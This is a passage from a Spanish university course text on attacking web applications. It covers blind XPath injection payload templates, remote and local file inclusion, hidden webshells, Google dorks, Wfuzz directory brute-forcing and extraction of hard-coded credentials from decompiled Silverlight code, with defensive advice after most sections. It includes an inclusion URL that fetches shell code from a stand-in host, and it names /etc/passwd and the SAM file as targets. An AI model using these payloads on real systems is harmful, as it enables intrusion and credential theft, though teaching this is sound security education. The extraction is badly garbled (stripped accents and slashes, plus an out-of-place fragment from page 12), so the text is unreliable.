or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
